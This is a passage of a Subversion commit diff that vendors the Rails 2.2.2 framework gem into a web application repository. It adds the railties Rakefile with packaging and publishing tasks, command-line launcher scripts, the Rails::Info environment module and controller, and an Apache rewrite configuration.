+task :fresh_rails_without_docs_using_links => [ :clean, :make_dir_structure, :initialize_file_stubs, :link_vendor_libraries, :copy_ties_content ]
+
+desc "Generates minimal Rails package using symlinks"
+task :dev => [ :clean, :make_dir_structure, :initialize_file_stubs, :link_vendor_libraries, :copy_ties_content ]
+
+desc "Packages the fresh Rails package with documentation"
+task :package => [ :clean, :fresh_rails ] do
+  system %{cd ..; tar -czvf #{PKG_NAME}-#{PKG_VERSION}.tgz #{PKG_NAME}}
+  system %{cd ..; zip -r #{PKG_NAME}-#{PKG_VERSION}.zip #{PKG_NAME}}
+end
+
+task :clean do
+  rm_rf PKG_DESTINATION
+end
+
+# Get external spinoffs -------------------------------------------------------------------
+
+desc "Updates railties to the latest version of the javascript spinoffs"
+task :update_js do
+  for js in %w( prototype controls dragdrop effects )
+    rm "html/javascripts/#{js}.js"
+    cp "./../actionpack/lib/action_view/helpers/javascripts/#{js}.js", "html/javascripts"
+  end
+end
+
+# Make directory structure ----------------------------------------------------------------
+
+def make_dest_dirs(dirs, path = '.')
+  mkdir_p dirs.map { |dir| File.join(PKG_DESTINATION, path.to_s, dir) }
+end
+
+desc "Make the directory structure for the new Rails application"
+task :make_dir_structure => [ :make_base_dirs, :make_app_dirs, :make_public_dirs, :make_test_dirs ]
+
+task(:make_base_dirs)   { make_dest_dirs BASE_DIRS              }
+task(:make_app_dirs)    { make_dest_dirs APP_DIRS,    'app'     }
+task(:make_public_dirs) { make_dest_dirs PUBLIC_DIRS, 'public'  }
+task(:make_test_dirs)   { make_dest_dirs TEST_DIRS,   'test'    }
+
+
+# Initialize file stubs -------------------------------------------------------------------
+
+desc "Initialize empty file stubs (such as for logging)"
+task :initialize_file_stubs => [ :initialize_log_files ]
+
+task :initialize_log_files do
+  log_dir = File.join(PKG_DESTINATION, 'log')
+  chmod 0777, log_dir
+  LOG_FILES.each do |log_file|
+    log_path = File.join(log_dir, log_file)
+    touch log_path
+    chmod 0666, log_path
+  end
+end
+
+
+# Copy Vendors ----------------------------------------------------------------------------
+
+desc "Copy in all the Rails packages to vendor"
+task :copy_vendor_libraries do
+  mkdir File.join(PKG_DESTINATION, 'vendor', 'rails')
+  VENDOR_LIBS.each { |dir| cp_r File.join('..', dir), File.join(PKG_DESTINATION, 'vendor', 'rails', dir) }
+  FileUtils.rm_r(Dir.glob(File.join(PKG_DESTINATION, 'vendor', 'rails', "**", ".svn")))
+end
+
+desc "Link in all the Rails packages to vendor"
+task :link_vendor_libraries do
+  mkdir File.join(PKG_DESTINATION, 'vendor', 'rails')
+  VENDOR_LIBS.each { |dir| ln_s File.join('..', '..', '..', dir), File.join(PKG_DESTINATION, 'vendor', 'rails', dir) }
+end
+
+
+# Copy Ties Content -----------------------------------------------------------------------
+
+desc "Make copies of all the default content of ties"
+task :copy_ties_content => [ 
+  :copy_rootfiles, :copy_dispatches, :copy_html_files, :copy_application,
+  :copy_configs, :copy_binfiles, :copy_test_helpers, :copy_app_doc_readme ]
+
+task :copy_dispatches do
+  copy_with_rewritten_ruby_path("dispatches/dispatch.rb", "#{PKG_DESTINATION}/public/dispatch.rb")
+  chmod 0755, "#{PKG_DESTINATION}/public/dispatch.rb"
+
+  copy_with_rewritten_ruby_path("dispatches/dispatch.rb", "#{PKG_DESTINATION}/public/dispatch.cgi")
+  chmod 0755, "#{PKG_DESTINATION}/public/dispatch.cgi"
+
+  copy_with_rewritten_ruby_path("dispatches/dispatch.fcgi", "#{PKG_DESTINATION}/public/dispatch.fcgi")
+  chmod 0755, "#{PKG_DESTINATION}/public/dispatch.fcgi"
+
+  # copy_with_rewritten_ruby_path("dispatches/gateway.cgi", "#{PKG_DESTINATION}/public/gateway.cgi")
+  # chmod 0755, "#{PKG_DESTINATION}/public/gateway.cgi"
+end
+
+task :copy_html_files do
+  HTML_FILES.each { |file| cp File.join('html', file), File.join(PKG_DESTINATION, 'public', file) }
+end
+
+task :copy_application do
+  cp "helpers/application.rb", "#{PKG_DESTINATION}/app/controllers/application.rb"
+  cp "helpers/application_helper.rb", "#{PKG_DESTINATION}/app/helpers/application_helper.rb"
+end
+
+task :copy_configs do
+  app_name = "rails"
+  socket = nil
+  require 'erb'
+  File.open("#{PKG_DESTINATION}/config/database.yml", 'w') {|f| f.write ERB.new(IO.read("configs/databases/sqlite3.yml"), nil, '-').result(binding)}
+  
+  cp "configs/routes.rb", "#{PKG_DESTINATION}/config/routes.rb"
+
+  cp "configs/initializers/inflections.rb", "#{PKG_DESTINATION}/config/initializers/inflections.rb"
+  cp "configs/initializers/mime_types.rb",  "#{PKG_DESTINATION}/config/initializers/mime_types.rb"
+
+  cp "configs/locales/en.yml", "#{PKG_DESTINATION}/config/locales/en.yml"
+
+  cp "environments/boot.rb",        "#{PKG_DESTINATION}/config/boot.rb"
+  cp "environments/environment.rb", "#{PKG_DESTINATION}/config/environment.rb"
+  cp "environments/production.rb",  "#{PKG_DESTINATION}/config/environments/production.rb"
+  cp "environments/development.rb", "#{PKG_DESTINATION}/config/environments/development.rb"
+  cp "environments/test.rb",        "#{PKG_DESTINATION}/config/environments/test.rb"
+end
+
+task :copy_binfiles do
+  BIN_FILES.each do |file|
+    dest_file = File.join(PKG_DESTINATION, 'script', file)
+    copy_with_rewritten_ruby_path(File.join('bin', file), dest_file)
+    chmod 0755, dest_file
+  end
+end
+
+task :copy_rootfiles do
+  cp "fresh_rakefile", "#{PKG_DESTINATION}/Rakefile"
+  cp "README", "#{PKG_DESTINATION}/README"
+  cp "CHANGELOG", "#{PKG_DESTINATION}/CHANGELOG"
+end
+
+task :copy_test_helpers do
+  cp "helpers/test_helper.rb", "#{PKG_DESTINATION}/test/test_helper.rb"
+end
+
+task :copy_app_doc_readme do
+  cp "doc/README_FOR_APP", "#{PKG_DESTINATION}/doc/README_FOR_APP"
+end
+
+def copy_with_rewritten_ruby_path(src_file, dest_file)
+  ruby = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name'])
+
+  File.open(dest_file, 'w') do |df|
+    File.open(src_file) do |sf|
+      line = sf.gets
+      if (line =~ /#!.+ruby\s*/) != nil
+        df.puts("#!#{ruby}")
+      else
+        df.puts(line)
+      end
+      df.write(sf.read)
+    end
+  end
+end
+
+
+# Generate documentation ------------------------------------------------------------------
+
+desc "Generate documentation for the framework and for the empty application"
+task :generate_documentation => [ :generate_app_doc, :generate_rails_framework_doc ]
+
+task :generate_rails_framework_doc do
+  system %{cd #{PKG_DESTINATION}; rake doc:rails}
+end
+
+task :generate_app_doc do
+  cp "doc/README_FOR_APP", "#{PKG_DESTINATION}/doc/README_FOR_APP"
+  system %{cd #{PKG_DESTINATION}; rake doc:app}
+end
+
+Rake::RDocTask.new { |rdoc|
+  rdoc.rdoc_dir = 'doc'
+  rdoc.title    = "Railties -- Gluing the Engine to the Rails"
+  rdoc.options << '--line-numbers' << '--inline-source' << '--accessor' << 'cattr_accessor=object'
+  rdoc.options << '--charset' << 'utf-8'
+  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
+  rdoc.rdoc_files.include('README', 'CHANGELOG')
+  rdoc.rdoc_files.include('lib/*.rb')
+  rdoc.rdoc_files.include('lib/rails/*.rb')
+  rdoc.rdoc_files.include('lib/rails_generator/*.rb')
+  rdoc.rdoc_files.include('lib/commands/**/*.rb')
+}
+
+desc "Generate guides for the framework"
+task :guides do
+  require 'mizuho/generator'
+
+  source = "doc/guides/source/"
+  html   = "doc/guides/html/"
+  FileUtils.rm_r(html) if File.directory?(html)
+  FileUtils.mkdir(html)
+
+  template = File.expand_path("doc/guides/source/templates/guides.html.erb")
+
+  ignore = ['..', 'icons', 'images', 'templates', 'stylesheets']
+  ignore << 'active_record_basics.txt'
+
+  indexless = ['index.txt', 'authors.txt']
+
+  # Traverse all entries in doc/guides/source/
+  Dir.entries(source).each do |entry|
+    next if ignore.include?(entry)
+
+    if File.directory?(File.join(source, entry))
+      # If the current entry is a directory, then we will want to compile
+      # the 'index.txt' file inside this directory.
+      if entry == '.'
+        input  = File.join(source, 'index.txt')
+        output = File.join(html, "index.html")
+      else
+        input  = File.join(source, entry, 'index.txt')
+        output = File.join(html, "#{entry}.html")
+      end
+    else
+      # If the current entry is a file, then we will want to compile this file.
+      input  = File.join(source, entry)
+      output = File.join(html, entry).sub(/\.txt$/, '.html')
+    end
+
+    begin
+      puts "GENERATING => #{output}"
+      ENV['MANUALSONRAILS_TOC'] = 'no' if indexless.include?(entry)
+      Mizuho::Generator.new(input, :output => output, :template => template).start
+    rescue Mizuho::GenerationError
+      STDERR.puts "*** ERROR"
+      exit 2
+    ensure
+      ENV.delete('MANUALSONRAILS_TOC')
+    end
+  end
+
+  # Copy images and css files to html directory. These dirs are in .gitigore and shouldn't be source controlled.
+  FileUtils.cp_r File.join(source, 'images'), File.join(html, 'images')
+  FileUtils.cp_r File.join(source, 'stylesheets'), File.join(html, 'stylesheets')
+end
+
+# Generate GEM ----------------------------------------------------------------------------
+
+task :copy_gem_environment do
+  cp "environments/environment.rb", "#{PKG_DESTINATION}/config/environment.rb"
+  chmod 0755, dest_file
+end
+
+
+PKG_FILES = FileList[
+  '[a-zA-Z]*',
+  'bin/**/*', 
+  'builtin/**/*',
+  'configs/**/*', 
+  'doc/**/*', 
+  'dispatches/**/*', 
+  'environments/**/*', 
+  'helpers/**/*', 
+  'generators/**/*', 
+  'html/**/*', 
+  'lib/**/*'
+] - [ 'test' ]
+
+spec = Gem::Specification.new do |s|
+  s.platform = Gem::Platform::RUBY
+  s.name = 'rails'
+  s.version = PKG_VERSION
+  s.summary = "Web-application framework with template engine, control-flow layer, and ORM."
+  s.description = <<-EOF
+    Rails is a framework for building web-application using CGI, FCGI, mod_ruby, or WEBrick
+    on top of either MySQL, PostgreSQL, SQLite, DB2, SQL Server, or Oracle with eRuby- or Builder-based templates.
+  EOF
+
+  s.add_dependency('rake', '>= 0.8.3')
+  s.add_dependency('activesupport',    '= 2.2.2' + PKG_BUILD)
+  s.add_dependency('activerecord',     '= 2.2.2' + PKG_BUILD)
+  s.add_dependency('actionpack',       '= 2.2.2' + PKG_BUILD)
+  s.add_dependency('actionmailer',     '= 2.2.2' + PKG_BUILD)
+  s.add_dependency('activeresource',   '= 2.2.2' + PKG_BUILD)
+
+  s.rdoc_options << '--exclude' << '.'
+  s.has_rdoc = false
+
+  s.files = PKG_FILES.to_a.delete_if {|f| f.include?('.svn')}
+  s.require_path = 'lib'
+  s.bindir = "bin"                               # Use these for applications.
+  s.executables = ["rails"]
+  s.default_executable = "rails"
+
+  s.author = "David Heinemeier Hansson"
+  s.email = "david at loudthinking.com"
+  s.homepage = "http://www.rubyonrails.org"
+  s.rubyforge_project = "rails"
+end
+
+Rake::GemPackageTask.new(spec) do |pkg|
+  pkg.gem_spec = spec
+end
+
+
+# Publishing -------------------------------------------------------
+desc "Publish the rails gem"
+task :pgem => [:gem] do 
+  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
+  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
+end
+
+desc "Publish the API documentation"
+task :pdoc => :rdoc do
+  # railties API isn't separately published
+end
+
+desc "Publish the release files to RubyForge."
+task :release => [ :package ] do
+  require 'rubyforge'
+
+  packages = %w( gem ).collect{ |ext| "pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}" }
+
+  rubyforge = RubyForge.new
+  rubyforge.login
+  rubyforge.add_release(PKG_NAME, PKG_NAME, "REL #{PKG_VERSION}", *packages)
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/about
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/about	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/about	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../config/boot'
+$LOAD_PATH.unshift "#{RAILTIES_PATH}/builtin/rails_info"
+require 'commands/about'
\ No newline at end of file


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/about
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/console
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/console	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/console	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../config/boot'
+require 'commands/console'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/console
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/dbconsole
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/dbconsole	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/dbconsole	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../config/boot'
+require 'commands/dbconsole'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/dbconsole
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/destroy
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/destroy	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/destroy	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../config/boot'
+require 'commands/destroy'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/destroy
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/generate
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/generate	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/generate	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../config/boot'
+require 'commands/generate'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/generate
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/benchmarker
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/benchmarker	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/benchmarker	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../../config/boot'
+require 'commands/performance/benchmarker'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/benchmarker
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/profiler
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/profiler	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/profiler	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../../config/boot'
+require 'commands/performance/profiler'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/profiler
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/request
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/request	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/request	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../../config/boot'
+require 'commands/performance/request'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance/request
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/plugin
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/plugin	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/plugin	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../config/boot'
+require 'commands/plugin'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/plugin
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/inspector
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/inspector	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/inspector	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../../config/boot'
+require 'commands/process/inspector'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/inspector
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/reaper
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/reaper	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/reaper	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../../config/boot'
+require 'commands/process/reaper'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/reaper
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/spawner
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/spawner	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/spawner	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../../config/boot'
+require 'commands/process/spawner'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process/spawner
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/rails
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/rails	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/rails	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+require File.dirname(__FILE__) + '/../lib/ruby_version_check'
+Signal.trap("INT") { puts; exit }
+
+require File.dirname(__FILE__) + '/../lib/rails/version'
+if %w(--version -v).include? ARGV.first
+  puts "Rails #{Rails::VERSION::STRING}"
+  exit(0)
+end
+
+freeze   = ARGV.any? { |option| %w(--freeze -f).include?(option) }
+app_path = ARGV.first
+
+require File.dirname(__FILE__) + '/../lib/rails_generator'
+
+require 'rails_generator/scripts/generate'
+Rails::Generator::Base.use_application_sources!
+Rails::Generator::Scripts::Generate.new.run(ARGV, :generator => 'app')
+
+Dir.chdir(app_path) { `rake rails:freeze:gems`; puts "froze" } if freeze
\ No newline at end of file


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/rails
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/runner
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/runner	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/runner	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../config/boot'
+require 'commands/runner'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/runner
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/server
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/server	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/server	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../config/boot'
+require 'commands/server'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/server
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails/info.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails/info.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails/info.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,125 @@
+module Rails
+  module Info
+    mattr_accessor :properties
+    class << (@@properties = [])
+      def names
+        map &:first
+      end
+
+      def value_for(property_name)
+        if property = assoc(property_name)
+          property.last
+        end
+      end
+    end
+
+    class << self #:nodoc:
+      def property(name, value = nil)
+        value ||= yield
+        properties << [name, value] if value
+      rescue Exception
+      end
+
+      def components
+        %w( active_record action_pack active_resource action_mailer active_support )
+      end
+
+      def component_version(component)
+        require "#{component}/version"
+        "#{component.classify}::VERSION::STRING".constantize
+      end
+
+      def edge_rails_revision(info = git_info)
+        info[/commit ([a-z0-9-]+)/, 1] || freeze_edge_version
+      end
+
+      def freeze_edge_version
+        if File.exist?(rails_vendor_root)
+          begin
+            Dir[File.join(rails_vendor_root, 'REVISION_*')].first.scan(/_(\d+)$/).first.first
+          rescue
+            Dir[File.join(rails_vendor_root, 'TAG_*')].first.scan(/_(.+)$/).first.first rescue 'unknown'
+          end
+        end
+      end
+
+      def to_s
+        column_width = properties.names.map {|name| name.length}.max
+        ["About your application's environment", *properties.map do |property|
+          "%-#{column_width}s   %s" % property
+        end] * "\n"
+      end
+
+      alias inspect to_s
+
+      def to_html
+        returning table = '<table>' do
+          properties.each do |(name, value)|
+            table << %(<tr><td class="name">#{CGI.escapeHTML(name.to_s)}</td>)
+            table << %(<td class="value">#{CGI.escapeHTML(value.to_s)}</td></tr>)
+          end
+          table << '</table>'
+        end
+      end
+
+      protected
+        def rails_vendor_root
+          @rails_vendor_root ||= "#{RAILS_ROOT}/vendor/rails"
+        end
+
+        def git_info
+          env_lang, ENV['LC_ALL'] = ENV['LC_ALL'], 'C'
+          Dir.chdir(rails_vendor_root) do
+            silence_stderr { `git log -n 1` }
+          end
+        ensure
+          ENV['LC_ALL'] = env_lang
+        end
+    end
+
+    # The Ruby version and platform, e.g. "1.8.2 (powerpc-darwin8.2.0)".
+    property 'Ruby version', "#{RUBY_VERSION} (#{RUBY_PLATFORM})"
+
+    # The RubyGems version, if it's installed.
+    property 'RubyGems version' do
+      Gem::RubyGemsVersion
+    end
+
+    # The Rails version.
+    property 'Rails version' do
+      Rails::VERSION::STRING
+    end
+
+    # Versions of each Rails component (Active Record, Action Pack,
+    # Active Resource, Action Mailer, and Active Support).
+    components.each do |component|
+      property "#{component.titlecase} version" do
+        component_version(component)
+      end
+    end
+
+    # The Rails Git revision, if it's checked out into vendor/rails.
+    property 'Edge Rails revision' do
+      edge_rails_revision
+    end
+
+    # The application's location on the filesystem.
+    property 'Application root' do
+      File.expand_path(RAILS_ROOT)
+    end
+
+    # The current Rails environment (development, test, or production).
+    property 'Environment' do
+      RAILS_ENV
+    end
+
+    # The name of the database adapter for the current environment.
+    property 'Database adapter' do
+      ActiveRecord::Base.configurations[RAILS_ENV]['adapter']
+    end
+
+    property 'Database schema version' do
+      ActiveRecord::Migrator.current_version rescue nil
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails/info_controller.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails/info_controller.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails/info_controller.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+class Rails::InfoController < ActionController::Base
+  def properties
+    if consider_all_requests_local || local_request?
+      render :inline => Rails::Info.to_html
+    else
+      render :text => '<p>For security purposes, this information is only available to local requests.</p>', :status => 500
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails/info_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails/info_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails/info_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+module Rails::InfoHelper
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails_info_controller.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails_info_controller.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails_info_controller.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+# Alias to ensure old public.html still works.
+RailsInfoController = Rails::InfoController

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/config.ru
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/config.ru	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/config.ru	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+# Rackup Configuration
+#
+# Start Rails mongrel server with rackup
+# $ rackup -p 3000 config.ru
+#
+# Start server with webrick (or any compatible Rack server) instead
+# $ rackup -p 3000 -s webrick config.ru
+
+# Require your environment file to bootstrap Rails
+require File.dirname(__FILE__) + '/config/environment'
+
+# Static server middleware
+# You can remove this extra check if you use an asset server
+use Rails::Rack::Static
+
+# Dispatch the request
+run ActionController::Dispatcher.new

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/apache.conf
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/apache.conf	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/apache.conf	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,40 @@
+# General Apache options
+AddHandler fastcgi-script .fcgi
+AddHandler cgi-script .cgi
+Options +FollowSymLinks +ExecCGI
+
+# If you don't want Rails to look in certain directories,
+# use the following rewrite rules so that Apache won't rewrite certain requests
+# 
+# Example:
+#   RewriteCond %{REQUEST_URI} ^/notrails.*
+#   RewriteRule .* - [L]
+
+# Redirect all requests not available on the filesystem to Rails
+# By default the cgi dispatcher is used which is very slow
+# 
+# For better performance replace the dispatcher with the fastcgi one
+#
+# Example:
+#   RewriteRule ^(.*)$ dispatch.fcgi [QSA,L]
+RewriteEngine On
+
+# If your Rails application is accessed via an Alias directive,
+# then you MUST also set the RewriteBase in this htaccess file.
+#
+# Example:
+#   Alias /myrailsapp /path/to/myrailsapp/public
+#   RewriteBase /myrailsapp
+
+RewriteRule ^$ index.html [QSA]
+RewriteRule ^([^.]+)$ $1.html [QSA]
+RewriteCond %{REQUEST_FILENAME} !-f
+RewriteRule ^(.*)$ dispatch.cgi [QSA,L]
+
+# In case Rails experiences terminal errors
+# Instead of displaying this message you can supply a file here which will be rendered instead
+# 
+# Example:
+#   ErrorDocument 500 /500.html
+
+ErrorDocument 500 "<h2>Application error</h2>Rails application failed to start properly"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/frontbase.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases/frontbase.yml	2008-12-20 20:26:23 UTC (rev 1003)
